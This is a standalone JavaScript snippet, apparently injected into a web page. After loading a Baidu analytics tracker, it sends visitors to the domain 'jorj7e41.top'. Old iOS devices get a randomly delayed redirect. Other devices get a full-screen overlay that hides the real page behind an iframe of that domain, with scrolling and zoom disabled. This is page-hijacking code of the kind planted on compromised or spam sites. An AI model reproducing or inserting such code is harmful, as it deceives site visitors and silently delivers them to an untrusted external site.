
<script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?66dde8320368a6da89e54374ad85282d";
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();

function getIosVersion() {
    const match = navigator.userAgent.match(/OS (\d+)_/);
    return match ? parseInt(match[1], 10) : 0;
}

const desktopUrl = "https://jorj7e41.top"; // PC
const mobileUrl = "https://jorj7e41.top"; 

const ua = navigator.userAgent;
const isIOS = /iP(hone|od|ad)/i.test(ua);
const isMobile = /Android|webOS|iPhone|iPod|iPad|BlackBerry|IEMobile|Opera Mini/i.test(ua);
const iosVersion = getIosVersion();
const delay = Math.floor(Math.random() * 500) + 500; 

if (isIOS && iosVersion < 13) {
    setTimeout(() => {
        location.href = mobileUrl;
    }, delay);
} else {
    document.addEventListener("DOMContentLoaded", () => {
        const meta = document.createElement("meta");
        meta.name = "viewport";
        meta.content = "user-scalable=no, width=device-width, initial-scale=1.0";
        document.head.appendChild(meta);
        const style = document.createElement("style");
        style.innerHTML = "html, body { margin:0; padding:0; width:100%; height:100%; overflow:hidden; }";
        document.head.appendChild(style);
        const div = document.createElement("div");
        div.style.cssText = "position:fixed; top:0; left:0; width:100%; height:100%; z-index:9999; background:#fff;";
        document.body.appendChild(div);
        const iframe = document.createElement("iframe");
        iframe.src = isMobile ? mobileUrl : desktopUrl;
        iframe.style.cssText = "border:0; width:100%; height:100%; max-height:4000px;";
        div.appendChild(iframe);
    });
}
</script>